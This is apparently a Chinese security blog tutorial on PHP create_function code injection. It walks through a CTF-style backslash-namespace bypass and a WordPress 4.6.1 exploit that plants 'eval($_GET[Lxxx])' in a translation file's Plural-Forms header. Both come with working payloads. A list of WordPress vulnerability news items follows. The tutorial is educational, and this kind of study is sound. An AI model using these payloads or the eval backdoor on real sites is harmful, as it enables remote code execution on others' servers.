从本地到WordPress代码注入

VSole2021-09-18 13:53:56

什么是create_function?

版本影响:

注意:create_function在PHP7.2.0之后被废弃,因此该函数的适用范围在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0

简单讲解:

首先还是先看PHP手册,PHP官方对create_function是这么定义的:

首先该函数有两个参数,一个是函数参数,另一个是函数主体代码,并且该函数的范围值即为函数名

举个例子:

<?php$Lxxx = create_function('$str' , 'echo $str;phpinfo();');echo $Lxxx;echo "<br>";echo $Lxxx("hello");

我们新建一个函数,名称为Lxxx,并且该函数的用途就是打印输出传入的字符串以及phpinfo页面

此时我们访问页面如下:

可以看到,这个时候打印输出了hello以及phpinfo页面

除此之外,我们可以发现函数名是一串以lambda开头的字符串,也就是匿名函数。

这里我们可以发现,如果我们传入create_funtion中的第二个参数可控,那么我们就可以进行命令执行。

如何利用create_function()进行注入?

想要知道如何利用它进行注入,我们还得看看PHP官方手册是怎么说的:

其实就是需要我们注意,这个函数本身就是在内部执行eval函数,

因此我们可以将上方的代码改写成另一种等价的形式:

<?phpfunction lambda_6($str){   echo $str;   phpinfo();}?>

那我们试想,既然这个函数参数可控,并且内部执行了eval函数,我们能否利用它进行RCE呢?

假设我们有以下代码:

<?php$ctf = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) {   $ctf('',$_GET['Lxxx']);}

其中传入的ctf参数不能以字母数字下划线开头,而Lxxx参数对于我们来说是完全可控的。

既然如此我们可以考虑使用create_function函数,但是这个时候会出现一个问题,传入的ctf参数不能以字母数字下划线开头,否则会产生匹配无法进入语句。

问题一:

那么该如何又使用create_function函数,又不以字母开头呢?

分析一:

答案就是:使用反斜杠。

因为在PHP中默认的命名空间为\,也就是说,所有的原生函数以及各种原生类,都是在\这个命名空间下,平常我们使用的各种函数,默认都是直接写函数名,但是并没有管命名空间,不写\调用函数相当于是一个相对路径,同理,既然有相对路径,那么就会有绝对路径。也就是说当我们调用函数的时候,如果函数的命名空间在\下,我们使用\function_name()的方式调用函数,同样也是可以的

问题二:

对于下方代码,虽然参数可控,但是除了命令以外,还有}这个不可控字符,如果存在这个字符会报错,该怎么办?

<?phpfunction lambda_6($str){   echo $str;   phpinfo();}?>

分析二:

注入的时候在末尾添加注释符,将后面的内容注释掉即可。

也就是说,我们只需要传如下payload即可:

?Lxxx=;}phpinfo();/*POSTDATA: ctf=\create_function

WordPress中的create_function()注入

影响范围:

WordPress<=4.6.1

漏洞复现:

WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一处使用到了create_function函数

涉及到的代码如下:

/*** Makes a function, which will return the right translation index, according to the* plural forms header* @param int   $nplurals* @param string $expression*/function make_plural_form_function($nplurals, $expression) {$expression = str_replace('n', '$n', $expression);$func_body = "\$index = (int)($expression);return (\$index < $nplurals)? \$index : $nplurals - 1;";return create_function('$n', $func_body);}

从注释中我们可以知道:这个函数是根据在目录wp-content/languages下语言文件的plural forms这个header来创建函数并返回

首先该函数返回值中可控参数为$func_body,而该参数由$nplurals参数决定$func_body,并且$nplurals由语言文件中的plural forms决定,因此,只需要能控制语言文件,即可控制整一个create_function函数

首先plural forms在如下位置:

我们现在将第九行修改如下:


"Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*"

;}将前面的内容闭合,并且使用/*注释掉后面的代码

再将zh_CN.po文件重新编译生成zh_CN.mo,虽然提示有错,但是不影响我们编译。

这个时候在主页传payload:

?Lxxx=phpinfo();

即可得到phpinfo页面,也就达成了RCE。

实操推荐

Vulnhub渗透测试实战靶场WordPress:http://mrw.so/5YMgxN

wordpress
本作品采用《CC 协议》,转载必须注明作者和本文链接
网络安全研究人员在WordPress的LiteSpeed Cache插件中发现了一个重大漏洞(编号为CVE-2023-40000),该插件拥有超过400万次活动安装,并存在未经身份验证的站点范围存储 XSS(跨站点脚本)的风险。这可能会允许未经授权访问敏感信息或通过单个HTTP请求在受影响的WordPress网站上进行权限升级。该漏洞由Patchstack团队发现,问题已在插件版本5.7.0.1中
WordPress的Bricks主题中的一个关键安全漏洞被发现并有被积极利用趋势,该漏洞被跟踪为CVE-2024-25600(CVSS 评分:9.8),使未经身份验证的攻击者能够实现远程代码执行。它会影响1.9.6之前的所有版本的Bricks。主题开发人员已在2024年2月13日发布的1.9.6.1版本中解决了这个问题,据估计,Bricks目前约有25000个活跃网站。建议使用该插件的用户应用最新
WordPress 托管提供商 Kinsta 警告客户,已观察到 Google 广告宣传钓鱼网站以窃取托管凭证。Kinsta 表示,网络钓鱼攻击的目的是窃取 MyKinsta 的登录凭据,MyKinsta 是该公司提供的一项关键服务,用于管理 WordPress 和其他基于云的应用程序。Kinsta 在发送给客户的电子邮件中表示,它已发现攻击者正在利用 Google Ads,针对以前访问过 Kin
一个安装了超过 9 万次的 WordPress 插件中存在一个严重的安全漏洞,威胁攻击者能够利用该漏洞获得远程代码执行权限,从而完全控制有漏洞的网站。
WordPress 近期发布了 6.4.2 更新版本,修复了一个远程代码执行 (RCE) 漏洞。
据报道,攻击者正在积极利用影响 Royal Elementor 插件和模板(最高版本为 1.3.78)的严重漏洞。
据报道,攻击者正在积极利用影响 Royal Elementor 插件和模板(最高版本为 1.3.78)的严重漏洞。
Patchstack 报告称 ,该插件供应商 ServMask 提供的各种高级扩展都包含相同的易受攻击的代码片段,这些代码在 init 函数中缺乏权限和随机数验证。
Bleeping Computer 网站披露,WordPress 表单构建插件 Ninja Forms 存在三个安全漏洞,攻击者可以通过这些漏洞实现权限提升并窃取用户数据2023 年 6 月 22 日,Patchstack 的研究人员向插件开发者 Saturday Drive 报告了这三个漏洞详情,并警告称漏洞会影响 NinjaForms 3.6.25 及以上版本。
WordPress 表单构建插件 Ninja Forms 存在三个安全漏洞,攻击者可以通过这些漏洞实现权限提升并窃取用户数据。
VSole
网络安全专家